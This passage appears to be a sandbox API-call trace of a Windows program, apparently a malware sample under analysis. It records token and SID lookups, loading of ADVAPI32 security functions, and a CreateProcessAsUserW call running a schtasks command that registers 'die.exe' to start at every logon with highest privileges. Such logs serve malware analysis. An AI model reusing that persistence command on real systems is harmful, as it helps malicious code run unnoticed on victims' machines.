_Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0076.887] malloc (_Size=0x18) returned 0xef040 [0076.887] malloc (_Size=0x18) returned 0xef020 [0076.887] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0076.887] SysStringLen (param_1="-") returned 0x1 [0076.887] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0076.887] memcpy (in: _Dst=0x34daa4, _Src=0x381298, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0076.887] free (_Block=0xef0a0) [0076.887] free (_Block=0xef040) [0076.887] malloc (_Size=0x18) returned 0xef040 [0076.887] malloc (_Size=0x18) returned 0xef0a0 [0076.887] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0076.887] SysStringLen (param_1="3835049652") returned 0xa [0076.888] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34dd98) returned 0x34dd98 [0076.888] memcpy (in: _Dst=0x34ddd6, _Src=0x381298, _Size=0x16 | out: _Dst=0x34ddd6) returned 0x34ddd6 [0076.888] free (_Block=0xef020) [0076.888] free (_Block=0xef040) [0076.888] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0076.888] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0076.888] malloc (_Size=0x18) returned 0xef040 [0076.888] malloc (_Size=0x18) returned 0xef020 [0076.888] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0076.888] SysStringLen (param_1="-") returned 0x1 [0076.888] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0076.888] memcpy (in: _Dst=0x34daba, _Src=0x381298, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0076.888] free (_Block=0xef0a0) [0076.888] free (_Block=0xef040) [0076.888] malloc (_Size=0x18) returned 0xef040 [0076.888] malloc (_Size=0x18) returned 0xef0a0 [0076.888] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0076.888] SysStringLen (param_1="1000") returned 0x4 [0076.889] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34dd98) returned 0x34dd98 [0076.889] memcpy (in: _Dst=0x34ddec, _Src=0x381298, _Size=0xa | out: _Dst=0x34ddec) returned 0x34ddec [0076.889] free (_Block=0xef020) [0076.889] free (_Block=0xef040) [0076.889] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0076.889] malloc (_Size=0x5e) returned 0xf0800 [0076.889] free (_Block=0xef0a0) [0076.889] malloc (_Size=0x18) returned 0xef0a0 [0076.889] free (_Block=0xf0800) [0076.889] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0076.890] GetLastError () returned 0x7a [0076.890] malloc (_Size=0x14) returned 0xef040 [0076.890] malloc (_Size=0x16) returned 0xef020 [0076.890] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebccb4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0076.891] malloc (_Size=0x18) returned 0xeef00 [0076.891] malloc (_Size=0x18) returned 0xeef60 [0076.891] free (_Block=0xef040) [0076.891] free (_Block=0xef020) [0076.891] free (_Block=0xeff30) [0076.891] free (_Block=0xeef60) [0076.891] free (_Block=0xeef00) [0076.891] free (_Block=0xef0a0) [0076.892] free (_Block=0xee240) [0076.892] malloc (_Size=0x48) returned 0xed2c0 [0076.892] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0076.905] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0076.905] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0076.905] malloc (_Size=0x18) returned 0xef0a0 [0076.905] CreateEnvironmentBlock () returned 0x1 [0076.910] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0076.910] malloc (_Size=0x18) returned 0xeef00 [0076.911] CreateProcessAsUserW (in: hToken=0x244, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"die\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"die\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xc84, dwThreadId=0xc90)) returned 1 [0076.917] CloseHandle (hObject=0x2f8) returned 1 [0076.917] CloseHandle (hObject=0x2fc) returned 1 [0076.917] free (_Block=0xeef00) [0076.917] DestroyEnvironmentBlock () returned 0x1 [0076.917] malloc (_Size=0x48) returned 0xed400 [0076.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x56d18980, dwHighDateTime=0x1d9eb0c)) [0076.917] SetEvent (hEvent=0x1f0) returned 1 [0076.918] CloseHandle (hObject=0x234) returned 1 [0076.918] CloseHandle (hObject=0x244) returned 1 [0077.188] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0077.188] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0077.188] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0077.479] SetLastError (dwErrCode=0x0) [0077.479] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0077.479] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0077.479] SetLastError (dwErrCode=0x0) [0077.479] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0077.479] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0077.479] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0077.479] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0077.479] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0077.479] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0077.481] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0077.482] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0077.482] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0077.482] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0077.482] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0077.482] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0077.482] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0077.484] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0077.485] GetCurrentThread () returned 0xfffffffffffffffe [0077.485] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x244) returned 1 [0077.485] malloc (_Size=0xd8) returned 0xf3750 [0077.485] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0077.485] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0077.485] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0077.486] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0077.486] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0077.486] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0077.486] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0077.486] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0077.486] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0077.487] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0077.487] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0077.487] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0077.487] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0077.487] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0077.487] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0077.488] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0077.488] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0077.488] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0077.488] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0077.488] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0077.489] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0077.489] malloc (_Size=0x18) returned 0xeef20 [0077.489] DuplicateTokenEx (in: hExistingToken=0x244, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x234) returned 1 [0077.489] malloc (_Size=0x48) returned 0xed270 [0077.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x57273b00, dwHighDateTime=0x1d9eb0c)) [0077.489] SetEvent (hEvent=0x1f0) returned 1 [0077.495] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0077.495] GetLastError () returned 0x7a [0077.495] malloc (_Size=0x2c) returned 0xee200 [0077.495] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0077.495] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0077.495] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0077.495] malloc (_Size=0x1c) returned 0xeff00 [0077.495] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0077.495] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0077.495] malloc (_Size=0x18) returned 0xeef20 [0077.496] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0077.496] malloc (_Size=0x18) returned 0xef0a0 [0077.496] malloc (_Size=0x18) returned 0xeef00 [0077.496] SysStringLen (param_1="S-1-") returned 0x4 [0077.496] SysStringLen (param_1="5") returned 0x1 [0077.496] memcpy (in: _Dst=0x381268, _Src=0x3812f8, _Size=0xa | out: _Dst=0x381268) returned 0x381268 [0077.496] memcpy (in: _Dst=0x381270, _Src=0x381058, _Size=0x4 | out: _Dst=0x381270) returned 0x381270 [0077.496] free (_Block=0xeef20) [0077.496] free (_Block=0xef0a0) [0077.496] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0077.496] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0077.496] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0077.496] malloc (_Size=0x18) returned 0xef0a0 [0077.496] malloc (_Size=0x18) returned 0xeef20 [0077.496] SysStringLen (param_1="S-1-5") returned 0x5 [0077.496] SysStringLen (param_1="-") returned 0x1 [0077.496] memcpy (in: _Dst=0x381058, _Src=0x381268, _Size=0xc | out: _Dst=0x381058) returned 0x381058 [0077.496] memcpy (in: _Dst=0x381062, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x381062) returned 0x381062 [0077.497] free (_Block=0xeef00) [0077.497] free (_Block=0xef0a0) [0077.497] malloc (_Size=0x18) returned 0xef0a0 [0077.497] malloc (_Size=0x18) returned 0xeef00 [0077.497] SysStringLen (param_1="S-1-5-") returned 0x6 [0077.497] SysStringLen (param_1="21") returned 0x2 [0077.497] memcpy (in: _Dst=0x3812f8, _Src=0x381058, _Size=0xe | out: _Dst=0x3812f8) returned 0x3812f8 [0077.497] memcpy (in: _Dst=0x381304, _Src=0x381268, _Size=0x6 | out: _Dst=0x381304) returned 0x381304 [0077.497] free (_Block=0xeef20) [0077.497] free (_Block=0xef0a0) [0077.497] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0077.497] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0077.497] malloc (_Size=0x18) returned 0xef0a0 [0077.497] malloc (_Size=0x18) returned 0xeef20 [0077.497] SysStringLen (param_1="S-1-5-21") returned 0x8 [0077.497] SysStringLen (param_1="-") returned 0x1 [0077.497] memcpy (in: _Dst=0x381268, _Src=0x3812f8, _Size=0x12 | out: _Dst=0x381268) returned 0x381268 [0077.497] memcpy (in: _Dst=0x381278, _Src=0x381058, _Size=0x4 | out: _Dst=0x381278) returned 0x381278 [0077.497] free (_Block=0xeef00) [0077.497] free (_Block=0xef0a0) [0077.498] malloc (_Size=0x18) returned 0xef0a0 [0077.498] malloc (_Size=0x18) returned 0xeef00 [0077.498] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0077.498] SysStringLen (param_1="4219442223") returned 0xa [0077.498] memcpy (in: _Dst=0x337af8, _Src=0x381268, _Size=0x14 | out: _Dst=0x337af8) returned 0x337af8 [0077.498] memcpy (in: _Dst=0x337b0a, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x337b0a) returned 0x337b0a [0077.498] free (_Block=0xeef20) [0077.498] free (_Block=0xef0a0) [0077.498] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0077.498] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0077.498] malloc (_Size=0x18) returned 0xef0a0 [0077.498] malloc (_Size=0x18) returned 0xeef20 [0077.498] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0077.498] SysStringLen (param_1="-") returned 0x1 [0077.498] memcpy (in: _Dst=0x337a58, _Src=0x337af8, _Size=0x28 | out: _Dst=0x337a58) returned 0x337a58 [0077.498] memcpy (in: _Dst=0x337a7e, _Src=0x381268, _Size=0x4 | out: _Dst=0x337a7e) returned 0x337a7e [0077.498] free (_Block=0xeef00) [0077.498] free (_Block=0xef0a0) [0077.498] malloc (_Size=0x18) returned 0xef0a0 [0077.499] malloc (_Size=0x18) returned 0xeef00 [0077.499] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0077.499] SysStringLen (param_1="4223814209") returned 0xa [0077.499] memcpy (in: _Dst=0x34d958, _Src=0x337a58, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0077.499] memcpy (in: _Dst=0x34d980, _Src=0x381268, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0077.499] free (_Block=0xeef20) [0077.499] free (_Block=0xef0a0) [0077.499] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0077.499] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0077.499] malloc (_Size=0x18) returned 0xef0a0 [0077.499] malloc (_Size=0x18) returned 0xeef20 [0077.499] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0077.499] SysStringLen (param_1="-") returned 0x1 [0077.499] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x3e | out: _Dst=0x34dc88) returned 0x34dc88 [0077.499] memcpy (in: _Dst=0x34dcc4, _Src=0x381268, _Size=0x4 | out: _Dst=0x34dcc4) returned 0x34dcc4 [0077.499] free (_Block=0xeef00) [0077.499] free (_Block=0xef0a0) [0077.499] malloc (_Size=0x18) returned 0xef0a0 [0077.499] malloc (_Size=0x18) returned 0xeef00 [0077.499] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0077.500] SysStringLen (param_1="3835049652") returned 0xa [0077.500] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0077.500] memcpy (in: _Dst=0x34d996, _Src=0x381268, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0077.500] free (_Block=0xeef20) [0077.500] free (_Block=0xef0a0) [0077.500] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0077.500] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0077.500] malloc (_Size=0x18) returned 0xef0a0 [0077.500] malloc (_Size=0x18) returned 0xeef20 [0077.500] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0077.500] SysStringLen (param_1="-") returned 0x1 [0077.500] memcpy (in: _Dst=0x34dc88, _Src=0x34d958, _Size=0x54 | out: _Dst=0x34dc88) returned 0x34dc88 [0077.500] memcpy (in: _Dst=0x34dcda, _Src=0x381268, _Size=0x4 | out: _Dst=0x34dcda) returned 0x34dcda [0077.500] free (_Block=0xeef00) [0077.500] free (_Block=0xef0a0) [0077.500] malloc (_Size=0x18) returned 0xef0a0 [0077.500] malloc (_Size=0x18) returned 0xeef00 [0077.500] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0077.500] SysStringLen (param_1="1000") returned 0x4 [0077.500] memcpy (in: _Dst=0x34d958, _Src=0x34dc88, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0077.501] memcpy (in: _Dst=0x34d9ac, _Src=0x381268, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0077.501] free (_Block=0xeef20) [0077.501] free (_Block=0xef0a0) [0077.501] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0077.501] malloc (_Size=0x5e) returned 0xf0800 [0077.501] free (_Block=0xeef00) [0077.501] malloc (_Size=0x18) returned 0xeef00 [0077.501] free (_Block=0xf0800) [0077.502] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0077.502] GetLastError () returned 0x7a [0077.502] malloc (_Size=0x14) returned 0xef0a0 [0077.502] malloc (_Size=0x16) returned 0xeef20 [0077.503] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebcca4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0077.503] malloc (_Size=0x18) returned 0xeef60 [0077.503] malloc (_Size=0x18) returned 0xef020 [0077.503] free (_Block=0xef0a0) [0077.503] free (_Block=0xeef20) [0077.504] free (_Block=0xeff00) [0077.504] free (_Block=0xef020) [0077.504] free (_Block=0xeef60) [0077.504] free (_Block=0xeef00) [0077.504] free (_Block=0xee200) [0077.504] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0077.505] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0077.505] GetLastError () returned 0x7a [0077.505] malloc (_Size=0x2c) returned 0xee240 [0077.505] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0077.505] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0077.505] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0077.505] malloc (_Size=0x1c) returned 0xeff00 [0077.505] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0077.505] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0077.505] malloc (_Size=0x18) returned 0xeef00 [0077.505] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0077.505] malloc (_Size=0x18) returned 0xeef60 [0077.505] malloc (_Size=0x18) returned 0xef020 [0077.505] SysStringLen (param_1="S-1-") returned 0x4 [0077.505] SysStringLen (param_1="5") returned 0x1 [0077.505] memcpy (in: _Dst=0x3812f8, _Src=0x381058, 